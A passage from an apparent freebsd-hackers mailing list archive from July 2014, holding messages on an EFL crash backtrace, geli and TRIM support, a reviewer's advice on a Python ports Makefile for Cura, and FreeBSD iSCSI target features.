report the problem at the right time." > It is not messed up. Old gdb from the base system is unable to interpret > some dwarf constructs which are needed to access the arguments values, > which does not invalidate the backtrace itself. > > I prefer to avoid commenting on someone beliefs. I'm using gdb771 from ports not gdb611 from base. I think -O1 in CFLAGS was the reason. Now I rebuild EFL with -O0, this is a new backtrace: https://phab.enlightenment.org/file/data/hu4fuxi5mwalxxydudj4/PHID-FILE-n2iww677ot6b4rlbko2e/gdb3.log Also I found crashes in two another places: https://phab.enlightenment.org/file/data/nlqs7yxy4oqztqq7nc6f/PHID-FILE-7igyjfusokhy4z3zceu2/gdb4.log https://phab.enlightenment.org/file/data/wxf3rfsggxnuaieyuacb/PHID-FILE-g3r7dw5tdn3hdnqcnltx/gdb5.log But crash reported in gdb3.log file is the most common. From owner-freebsd-hackers@FreeBSD.ORG Tue Jul 1 22:37:54 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 80918B02 for ; Tue, 1 Jul 2014 22:37:54 +0000 (UTC) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [188.252.31.196]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id DF6DA2793 for ; Tue, 1 Jul 2014 22:37:53 +0000 (UTC) Received: from wojtek.tensor.gdynia.pl (localhost [127.0.0.1]) by wojtek.tensor.gdynia.pl (8.14.7/8.14.7) with ESMTP id s61Mamce004511 for ; Wed, 2 Jul 2014 00:36:48 +0200 (CEST) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.7/8.14.7/Submit) with ESMTP id s61MammK004508 for ; Wed, 2 Jul 2014 00:36:48 +0200 (CEST) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Wed, 2 Jul 2014 00:36:48 +0200 (CEST) From: Wojciech Puchar To: freebsd-hackers@freebsd.org Subject: geli+trim support Message-ID: User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; format=flowed; charset=US-ASCII X-Greylist: Sender passed SPF test, not delayed by milter-greylist-4.4.3 (wojtek.tensor.gdynia.pl [127.0.0.1]); Wed, 02 Jul 2014 00:36:48 +0200 (CEST) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Jul 2014 22:37:54 -0000 will TRIM will be passed over geli volumes? From owner-freebsd-hackers@FreeBSD.ORG Tue Jul 1 22:50:01 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 94D9D24F; Tue, 1 Jul 2014 22:50:01 +0000 (UTC) Received: from mail-pa0-x22a.google.com (mail-pa0-x22a.google.com [IPv6:2607:f8b0:400e:c03::22a]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 61802287B; Tue, 1 Jul 2014 22:50:01 +0000 (UTC) Received: by mail-pa0-f42.google.com with SMTP id lj1so11413640pab.1 for ; Tue, 01 Jul 2014 15:50:00 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:message-id:date:from:reply-to:user-agent:mime-version:to :subject:references:in-reply-to:content-type :content-transfer-encoding; bh=Ct2b1588hEJw40S7fNZNWGG0//vHrrR7zcQMl0htAXM=; b=L9C5YkYAPVGPn+AImtXz+8CePSxJd0/PDTxr0LpJ5j+vsd0b5Bv7M+UkwBQRQ61Ulz PWg3gG80FTOez5OEJ6PiZ2kmLHWhjPhZiW69iFMNJpLE9lS2o2SR9cH4gKBIszynIuHm tASjgQmQfYUppMcMhksqtbGZZnZcsAjeFkYrODlzl6PtoJHywkJdkrsuaFfBSi6DGymX FMR1pGvVpL7oKkdGKGmluiKjJJqV91cJZD3xqUx4qoWp9qsJz4KuWE9Mnmt6ej3MGe5n 03yuVZgZbDUoZ/zGix//Fkv8RkcytssQyTTkUWTZMxmHN8kgbU+MJb//JibTLvAxPrMD 7vxg== X-Received: by 10.68.164.4 with SMTP id ym4mr65444790pbb.53.1404255000799; Tue, 01 Jul 2014 15:50:00 -0700 (PDT) Received: from ?IPv6:2001:44b8:31ae:7b00:1150:8648:fc49:e3e7? (2001-44b8-31ae-7b00-1150-8648-fc49-e3e7.static.ipv6.internode.on.net. [2001:44b8:31ae:7b00:1150:8648:fc49:e3e7]) by mx.google.com with ESMTPSA id wp3sm34230713pbc.67.2014.07.01.15.49.58 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Tue, 01 Jul 2014 15:50:00 -0700 (PDT) Sender: Kubilay Kocak Message-ID: <53B33B12.8030005@FreeBSD.org> Date: Wed, 02 Jul 2014 08:49:54 +1000 From: Kubilay Kocak Reply-To: koobs@FreeBSD.org User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Thunderbird/31.0 MIME-Version: 1.0 To: CeDeROM , freebsd-ports , freebsd-hackers@freebsd.org Subject: Re: port - python dependencies and github master References: In-Reply-To: Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Jul 2014 22:50:01 -0000 On 1/07/2014 11:56 PM, CeDeROM wrote: > Hello there :-) > > I am writing a Makefile to a Python based port that gets the source > code from GitHub. Two questions: > > 1. How to change PORTVERSION / GH_COMMIT based on user choice / > option? One value for PORTVERSION seems fine but to change it to > master does not work.. You very probably don't want to do this. PORTVERSION needs to be static, in the sense that it can't be conditional. This is because PORTVERSION plus a few other variables is how the ports framework derives DISTFILES, who's checksums must remain consistent unless changed/updated by the maintainer (see distinfo file) > 2. Is the way to check python modules dependency correct? > > PORTNAME= cura > PORTVERSION= 14.06 > #STABLEREL= 14.06 > CATEGORIES= cad Add the 'python' category as a secondary category to Python ports > MAINTAINER= blah@blah > COMMENT= Cura is a complete and open slicing solution for > RepRap 3D printers. Don't include the package/software name or indefinite articles (A/An) in COMMENT. Also strip the trailing full stop (period). For more detail, see: http://www2.au.freebsd.org/doc/en_US.ISO8859-1/books/porters-handbook/book.html#makefile-comment portlint(8) will also help here. > > OPTIONS_SINGLE= BTYPE > OPTIONS_SINGLE_BTYPE= RELEASE DEVEL > OPTIONS_SUB= yes > RELEASE_DESC= Build latest stable release from github (${PORTVERSION}) > DEVEL_DESC= Build latest development snapshot from github master > OPTIONS_DEFAULT= RELEASE > > .include > > #.if ${PORT_OPTIONS:MRELEASE} > #PORTVERSION= ${STABLEREL} > #.endif > > .if ${PORT_OPTIONS:MDEVEL} > PORTVERSION= master > #STABLEREL= master > .endif > > #PORTVERSION= ${STABLEREL} > > USE_PYTHON= yes You at least want USE_PYDISTUTILS=yes here, and maybe PYDISTUTILS_AUTOPLIST=yes also. See /usr/ports/Mk/bsd.python.mk for more information. > RUN_DEPENDS+= First assignment of {RUN,BUILD}_DEPENDS should be = not += > ${PYTHONPREFIX_SITELIBDIR}/OpenGL:${PORTSDIR}/graphics/py-opengl \ > ${PYTHONPREFIX_SITELIBDIR}/numpy:${PORTSDIR}/math/py-numpy \ > > ${PYTHONPREFIX_SITELIBDIR}/setuptools:${PORTSDIR}/devel/py-setuptools > \ > ${PYTHONPREFIX_SITELIBDIR}/serial:${PORTSDIR}/comms/py-serial > BUILD_DEPENDS+= git:${PORTSDIR}/devel/git If you're not depending on a binary (like the git line above), the simplest way is to depend on the package names. Eg: ${PYTHON_PKGNAMEPREFIX}setuptools>[0|]:${PORTSDIR}/category/ The following section of the Porters Handbook describes dependencies very well: http://www2.au.freebsd.org/doc/en_US.ISO8859-1/books/porters-handbook/book.html#makefile-depend portlint(8) is also your friend here, and will tell you about a few things if you don't get it quite right, first time. > USE_GITHUB= yes > GH_ACCOUNT= daid > GH_COMMIT= ${PORTVERSION} If you need any porting help, we have a few IRC channels available for you: 1) #freebsd-ports - freenode 2) #freebsd-python - freenode 3) #bsdports - Efnet -- koobs From owner-freebsd-hackers@FreeBSD.ORG Tue Jul 1 23:44:09 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 94B314DC; Tue, 1 Jul 2014 23:44:09 +0000 (UTC) Received: from mail-ob0-x22e.google.com (mail-ob0-x22e.google.com [IPv6:2607:f8b0:4003:c01::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 475B92D19; Tue, 1 Jul 2014 23:44:09 +0000 (UTC) Received: by mail-ob0-f174.google.com with SMTP id va2so11426581obc.33 for ; Tue, 01 Jul 2014 16:44:08 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=C/q3tBuhmcnHA6oU+VQTx7K9/S9OjBRfpbUx+0zLvIs=; b=dfGwo32pczScGetI0ly3/6hbHx+3NfqndJaQVKZT3GMSS9wp0OGtTUc9d9iZIxyHTI HYWv8jxDDFzy2zh4PVyr6d7iK9tejtz7AfgLAJDU7VHzd4BPceRMk1TTfMGoZjIXTfXZ hG47ByAUyzOd68ntweNwxOkAzAyakynqdZG1U44UOnXwt0WZx7W+ABgfALncYeiBCMN4 XUWf3Vz7pStWeXufVQbPB+eFRilFYUvtzPqRSsZaaaCOG0rz6+imVOCROONXj3NrHfEC FMSXLuEewKNFBfHAR3aQ6qKbuuv9TWmjNEXYzFCACoOvWMi1uNt1SjjTq8Y6a/iVpIWX 12vw== MIME-Version: 1.0 X-Received: by 10.182.144.161 with SMTP id sn1mr6696074obb.82.1404258248625; Tue, 01 Jul 2014 16:44:08 -0700 (PDT) Sender: tomek.cedro@gmail.com Received: by 10.202.5.193 with HTTP; Tue, 1 Jul 2014 16:44:08 -0700 (PDT) In-Reply-To: <53B33B12.8030005@FreeBSD.org> References: <53B33B12.8030005@FreeBSD.org> Date: Wed, 2 Jul 2014 01:44:08 +0200 X-Google-Sender-Auth: OOL0qBvWARS3zaZ0XuNOfC2RYJA Message-ID: Subject: Re: port - python dependencies and github master From: CeDeROM To: koobs@freebsd.org Content-Type: text/plain; charset=UTF-8 Cc: freebsd-hackers@freebsd.org, freebsd-ports X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Jul 2014 23:44:09 -0000 Hello Koobs and thank you for your hints!! :-) On Wed, Jul 2, 2014 at 12:49 AM, Kubilay Kocak wrote: >> 1. How to change PORTVERSION / GH_COMMIT based on user choice / >> option? One value for PORTVERSION seems fine but to change it to >> master does not work.. > > You very probably don't want to do this. PORTVERSION needs to be static, > in the sense that it can't be conditional. Ugh, thats the problem. I have notcied that :-( At least for the first time I change the Makefile both RELEASE and DEVEL works, but then it does not work... just as Makefile was somehow cached and remembers PORTVERSION even if I change its value it still use the old value or any numeric value which is found on the Makefile even inside conditional statement.. strange :-) > This is because PORTVERSION plus a few other variables is how the ports > framework derives DISTFILES, who's checksums must remain consistent > unless changed/updated by the maintainer (see distinfo file) I would like to make a port to build a package by default, but also I would like to have option to build a devel package. No additional port for that is necessary. That would save frequent port updates, just one smart Makefile that would do the job :-) This seems sensible, but I have noticed checksum problems here when PORTVERSION is changed on the fly.. Other question if additional cura-devel port is mandatory - how can I fetch HEAD and then get the commit number to add to the package name to distinguish different builds? If PORTVERSION must be static, then should I add some package suffix that can be based on a dynamic value/variable? >> 2. Is the way to check python modules dependency correct? >> >> PORTNAME= cura >> PORTVERSION= 14.06 >> #STABLEREL= 14.06 >> CATEGORIES= cad > > Add the 'python' category as a secondary category to Python ports ACK! :-) >> MAINTAINER= blah@blah >> COMMENT= Cura is a complete and open slicing solution for >> RepRap 3D printers. > > Don't include the package/software name or indefinite articles (A/An) in > COMMENT. Also strip the trailing full stop (period). ACK! :-) >> OPTIONS_SINGLE= BTYPE >> OPTIONS_SINGLE_BTYPE= RELEASE DEVEL >> OPTIONS_SUB= yes >> RELEASE_DESC= Build latest stable release from github (${PORTVERSION}) >> DEVEL_DESC= Build latest development snapshot from github master >> OPTIONS_DEFAULT= RELEASE >> >> .include >> >> #.if ${PORT_OPTIONS:MRELEASE} >> #PORTVERSION= ${STABLEREL} >> #.endif >> >> .if ${PORT_OPTIONS:MDEVEL} >> PORTVERSION= master >> #STABLEREL= master >> .endif >> >> #PORTVERSION= ${STABLEREL} >> >> USE_PYTHON= yes > > You at least want USE_PYDISTUTILS=yes here, and maybe > PYDISTUTILS_AUTOPLIST=yes also. > > See /usr/ports/Mk/bsd.python.mk for more information. ACK! :-) >> RUN_DEPENDS+= > > First assignment of {RUN,BUILD}_DEPENDS should be = not += > >> ${PYTHONPREFIX_SITELIBDIR}/OpenGL:${PORTSDIR}/graphics/py-opengl \ >> ${PYTHONPREFIX_SITELIBDIR}/numpy:${PORTSDIR}/math/py-numpy \ >> >> ${PYTHONPREFIX_SITELIBDIR}/setuptools:${PORTSDIR}/devel/py-setuptools >> \ >> ${PYTHONPREFIX_SITELIBDIR}/serial:${PORTSDIR}/comms/py-serial >> BUILD_DEPENDS+= git:${PORTSDIR}/devel/git > > If you're not depending on a binary (like the git line above), the > simplest way is to depend on the package names. Eg: > > ${PYTHON_PKGNAMEPREFIX}setuptools>[0|]:${PORTSDIR}/category/ I know the Porter's Handbook, but there is no information on how to verify the dependencies on python modules. Using ${PYTHON_PKGNAMEPREFIX} would search for binaries, which is not the case. This is why I have "invented" ${PYTHONPREFIX_SITELIBDIR}/OpenGL which works well and checks if a given python module is available :-) > If you need any porting help, we have a few IRC channels available for you: > > 1) #freebsd-ports - freenode > 2) #freebsd-python - freenode > 3) #bsdports - Efnet Thank you I will connect that way! :-) Best regards :-) Tomek -- CeDeROM, SQ7MHZ, http://www.tomek.cedro.info From owner-freebsd-hackers@FreeBSD.ORG Wed Jul 2 00:11:25 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 42D21A27; Wed, 2 Jul 2014 00:11:25 +0000 (UTC) Received: from mail-pd0-x235.google.com (mail-pd0-x235.google.com [IPv6:2607:f8b0:400e:c02::235]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 0D70C2F74; Wed, 2 Jul 2014 00:11:25 +0000 (UTC) Received: by mail-pd0-f181.google.com with SMTP id v10so10804140pde.26 for ; Tue, 01 Jul 2014 17:11:24 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:message-id:date:from:reply-to:user-agent:mime-version:to:cc :subject:references:in-reply-to:content-type :content-transfer-encoding; bh=+hhNZJs0fDC+rundHFaiY9esk5g5qSuC05RYhk4aSkU=; b=H7/4wRXRQ+ZVYRSGJgjpMd5isvlWF8a9vxR/+5sn1dbaP/gQp+NyTZ2oARBf3OLqwl WjMD7dFRhbPZ07ajeVvPAN4sdZtxCjBdsk6KA9YOIjLGVRHYnSUq5SZgtR0DOGsDAgrf ZczWrXs4HZW1e/cY01fBVHkYUGrq0fM/0kONhjwEHLutWXzay2eMh4+YBHa8YshV0nKo TwZSn0WYjZZ/hWmnJEbr+Gmnnfv3kAg4RzQaqu6f7sFLGDBbasYgVwgMzpaUhkkfa4cu G0ZBsWV0AodnkoAps17W/quWiqPc3jVvLypaZAesDoFAw1NGThf1uk/iUjmaDyzdZBWj Y81Q== X-Received: by 10.68.57.194 with SMTP id k2mr8722831pbq.67.1404259884720; Tue, 01 Jul 2014 17:11:24 -0700 (PDT) Received: from ?IPv6:2001:44b8:31ae:7b00:1150:8648:fc49:e3e7? (2001-44b8-31ae-7b00-1150-8648-fc49-e3e7.static.ipv6.internode.on.net. [2001:44b8:31ae:7b00:1150:8648:fc49:e3e7]) by mx.google.com with ESMTPSA id kl10sm34419294pbd.20.2014.07.01.17.11.22 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Tue, 01 Jul 2014 17:11:24 -0700 (PDT) Sender: Kubilay Kocak Message-ID: <53B34E27.7090808@FreeBSD.org> Date: Wed, 02 Jul 2014 10:11:19 +1000 From: Kubilay Kocak Reply-To: koobs@FreeBSD.org User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Thunderbird/31.0 MIME-Version: 1.0 To: CeDeROM Subject: Re: port - python dependencies and github master References: <53B33B12.8030005@FreeBSD.org> In-Reply-To: Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit Cc: freebsd-hackers@freebsd.org, freebsd-ports X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 02 Jul 2014 00:11:25 -0000 On 2/07/2014 9:44 AM, CeDeROM wrote: > Hello Koobs and thank you for your hints!! :-) > > On Wed, Jul 2, 2014 at 12:49 AM, Kubilay Kocak wrote: >>> 1. How to change PORTVERSION / GH_COMMIT based on user choice / >>> option? One value for PORTVERSION seems fine but to change it to >>> master does not work.. >> >> You very probably don't want to do this. PORTVERSION needs to be static, >> in the sense that it can't be conditional. > > Ugh, thats the problem. I have notcied that :-( At least for the first > time I change the Makefile both RELEASE and DEVEL works, but then it > does not work... just as Makefile was somehow cached and remembers > PORTVERSION even if I change its value it still use the old value or > any numeric value which is found on the Makefile even inside > conditional statement.. strange :-) > > >> This is because PORTVERSION plus a few other variables is how the ports >> framework derives DISTFILES, who's checksums must remain consistent >> unless changed/updated by the maintainer (see distinfo file) > > I would like to make a port to build a package by default, but also I > would like to have option to build a devel package. No additional port > for that is necessary. That would save frequent port updates, just one > smart Makefile that would do the job :-) This seems sensible, but I > have noticed checksum problems here when PORTVERSION is changed on the > fly.. The first question is do you want these ports in the ports tree, or just to keep locally? If you want them in the tree, then a separate py-foo and py-foo-devel is recommended. If not, you may be able to get away with a single port that can build both. That's a more involved discussion that is best done on IRC in real-time, and you'll benefit from more people to talk to who might have different suggestions to achieve what you want > Other question if additional cura-devel port is mandatory - how can I > fetch HEAD and then get the commit number to add to the package name > to distinguish different builds? If PORTVERSION must be static, then > should I add some package suffix that can be based on a dynamic > value/variable? Unfortunately master/head/tip are moving targets and the commit hash changes over time. You can however, pin to a particular commit using the hash as the tag: GH_TAGNAME=${GH_COMMIT} GH_COMMIT= > >>> 2. Is the way to check python modules dependency correct? >>> >>> PORTNAME= cura >>> PORTVERSION= 14.06 >>> #STABLEREL= 14.06 >>> CATEGORIES= cad >> >> Add the 'python' category as a secondary category to Python ports > > ACK! :-) > > >>> MAINTAINER= blah@blah >>> COMMENT= Cura is a complete and open slicing solution for >>> RepRap 3D printers. >> >> Don't include the package/software name or indefinite articles (A/An) in >> COMMENT. Also strip the trailing full stop (period). > > ACK! :-) > > >>> OPTIONS_SINGLE= BTYPE >>> OPTIONS_SINGLE_BTYPE= RELEASE DEVEL >>> OPTIONS_SUB= yes >>> RELEASE_DESC= Build latest stable release from github (${PORTVERSION}) >>> DEVEL_DESC= Build latest development snapshot from github master >>> OPTIONS_DEFAULT= RELEASE >>> >>> .include >>> >>> #.if ${PORT_OPTIONS:MRELEASE} >>> #PORTVERSION= ${STABLEREL} >>> #.endif >>> >>> .if ${PORT_OPTIONS:MDEVEL} >>> PORTVERSION= master >>> #STABLEREL= master >>> .endif >>> >>> #PORTVERSION= ${STABLEREL} >>> >>> USE_PYTHON= yes >> >> You at least want USE_PYDISTUTILS=yes here, and maybe >> PYDISTUTILS_AUTOPLIST=yes also. >> >> See /usr/ports/Mk/bsd.python.mk for more information. > > ACK! :-) > > >>> RUN_DEPENDS+= >> >> First assignment of {RUN,BUILD}_DEPENDS should be = not += >> >>> ${PYTHONPREFIX_SITELIBDIR}/OpenGL:${PORTSDIR}/graphics/py-opengl \ >>> ${PYTHONPREFIX_SITELIBDIR}/numpy:${PORTSDIR}/math/py-numpy \ >>> >>> ${PYTHONPREFIX_SITELIBDIR}/setuptools:${PORTSDIR}/devel/py-setuptools >>> \ >>> ${PYTHONPREFIX_SITELIBDIR}/serial:${PORTSDIR}/comms/py-serial >>> BUILD_DEPENDS+= git:${PORTSDIR}/devel/git >> >> If you're not depending on a binary (like the git line above), the >> simplest way is to depend on the package names. Eg: >> >> ${PYTHON_PKGNAMEPREFIX}setuptools>[0|]:${PORTSDIR}/category/ > > I know the Porter's Handbook, but there is no information on how to > verify the dependencies on python modules. Using > ${PYTHON_PKGNAMEPREFIX} would search for binaries, which is not the > case. This is why I have "invented" ${PYTHONPREFIX_SITELIBDIR}/OpenGL > which works well and checks if a given python module is available :-) You 'can' check for the existence of files in sitelibdir or site-packages, but you want to consider how robust it is compared to depending on the package instead (${PYTHON_PKGNAMEPREFIX}) With this option, you have the option to use version checks such as >, >=, ==, etc, which you can't with files. This is beneficial in most scenarios. Rule of thumb: Use any of file, dir, executable or package, default to package name, and use the others if and when there is a good reason to. > >> If you need any porting help, we have a few IRC channels available for you: >> >> 1) #freebsd-ports - freenode >> 2) #freebsd-python - freenode >> 3) #bsdports - Efnet > > Thank you I will connect that way! :-) > > Best regards :-) > Tomek > You're welcome! -- koobs From owner-freebsd-hackers@FreeBSD.ORG Tue Jul 1 23:13:10 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7C50181C; Tue, 1 Jul 2014 23:13:10 +0000 (UTC) Received: from zxy.spb.ru (zxy.spb.ru [195.70.199.98]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 360272A9F; Tue, 1 Jul 2014 23:13:09 +0000 (UTC) Received: from slw by zxy.spb.ru with local (Exim 4.82 (FreeBSD)) (envelope-from ) id 1X27EX-000A85-Hz; Wed, 02 Jul 2014 03:13:05 +0400 Date: Wed, 2 Jul 2014 03:13:05 +0400 From: Slawa Olhovchenkov To: freebsd-current@freebsd.org Subject: Re: FreeBSD iscsi target Message-ID: <20140701231305.GA37246@zxy.spb.ru> References: <20140626232727.GB1825@pwnie.vrt.sourcefire.com> <53ACE5B4.8070700@rice.edu> <20140701091252.GB3443@brick> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140701091252.GB3443@brick> User-Agent: Mutt/1.5.23 (2014-03-12) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: slw@zxy.spb.ru X-SA-Exim-Scanned: No (on zxy.spb.ru); SAEximRunCond expanded to false X-Mailman-Approved-At: Wed, 02 Jul 2014 02:42:26 +0000 Cc: "freebsd-hackers@freebsd.org" , Sreenivasa Honnur X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Jul 2014 23:13:10 -0000 On Tue, Jul 01, 2014 at 11:12:52AM +0200, Edward Tomasz Napierala wrote: > Hi. I've replied in private, but just for the record: > > On 0627T0927, Sreenivasa Honnur wrote: > > Does freebsd iscsi target supports: > > 1. ACL (access control lists) > > In 10-STABLE there is a way to control access based on initiator > name and IP address. > > > 2. iSNS > > No; it's one of the iSCSI features that seem to only be used > for marketing purposes :-) > > > 3. Multiple connections per session > > No; see above. I think this is help for 40G links. From owner-freebsd-hackers@FreeBSD.ORG Wed Jul 2 08:27:21 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DA73DE16 for ; Wed, 2 Jul 2014 08:27:21 +0000 (UTC) Received: from smtp1.multiplay.co.uk (smtp1.multiplay.co.uk [85.236.96.35]) by mx1.freebsd.org (Postfix) with ESMTP id 9FFF22778 for ; Wed, 2 Jul 2014 08:27:21 +0000 (UTC) Received: by smtp1.multiplay.co.uk (Postfix, from userid 65534) id 46F5D20E7088C; Wed, 2 Jul 2014 08:27:13 +0000 (UTC) X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on smtp1.multiplay.co.uk X-Spam-Level: ** X-Spam-Status: No, score=2.0 required=8.0 tests=AWL,BAYES_00,DOS_OE_TO_MX, FSL_HELO_NON_FQDN_1,HELO_NO_DOMAIN,RDNS_DYNAMIC autolearn=no version=3.3.1 Received: from r2d2 (82-69-141-170.dsl.in-addr.zen.co.uk [82.69.141.170]) by smtp1.multiplay.co.uk (Postfix) with ESMTPS id D87A820E70886; Wed, 2 Jul 2014 08:27:08 +0000 (UTC) Message-ID: <7E2718485A3E405D89E5EAB331E9ED70@multiplay.co.uk> From: "Steven Hartland" To: "Wojciech Puchar" , References: Subject: Re: geli+trim support Date: Wed, 2 Jul 2014 09:27:04 +0100 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=response Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6157 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 02 Jul 2014 08:27:21 -0000 Currently BIO_DELETE is not supported by geli so no TRIM won't be passed through. Regards Steve ----- Original Message ----- From: "Wojciech Puchar" To: Sent: Tuesday, July 01, 2014 11:36 PM Subject: geli+trim support > will TRIM will be passed over geli volumes? > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Wed Jul 2 15:23:57 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BD13C774 for ; Wed, 2 Jul 2014 15:23:57 +0000 (UTC) Received: from pps02.cites.illinois.edu (pps02.cites.illinois.edu [192.17.82.100]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 79CA2218C for ; Wed, 2 Jul 2014 15:23:57 +0000 (UTC) Received: from chiht3.cites.illinois.edu (chiht3.cites.illinois.edu [64.22.177.75]) by pps02.cites.illinois.edu (8.14.5/8.14.5) with ESMTP id s62EqcAM025185 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NOT) for ; Wed, 2 Jul 2014 09:52:40 -0500 Received: from CITESMBX1.ad.uillinois.edu ([169.254.3.145]) by CHIHT3.ad.uillinois.edu ([64.22.177.75]) with mapi id 14.03.0181.006; Wed, 2 Jul 2014 09:52:38 -0500 From: "Dautenhahn, Nathan Daniel" To: "freebsd-hackers@freebsd.org" Subject: Kernel Privilege Separation Policy Thread-Topic: Kernel Privilege Separation Policy Thread-Index: AQHPlgVDGNIEiUh8hk6kgbH9TWcXPQ== Date: Wed, 2 Jul 2014 14:52:37 +0000 Message-ID: <100A360A-DF5E-46D5-83F0-BCAE672D1D6C@illinois.edu> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [64.22.177.79] Content-Type: text/plain; charset="Windows-1252" Content-ID: <6295A3A34E8E2C4D865B88BDB1BA8E9A@mx.uillinois.edu> Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Spam-Score: 0 X-Spam-Details: 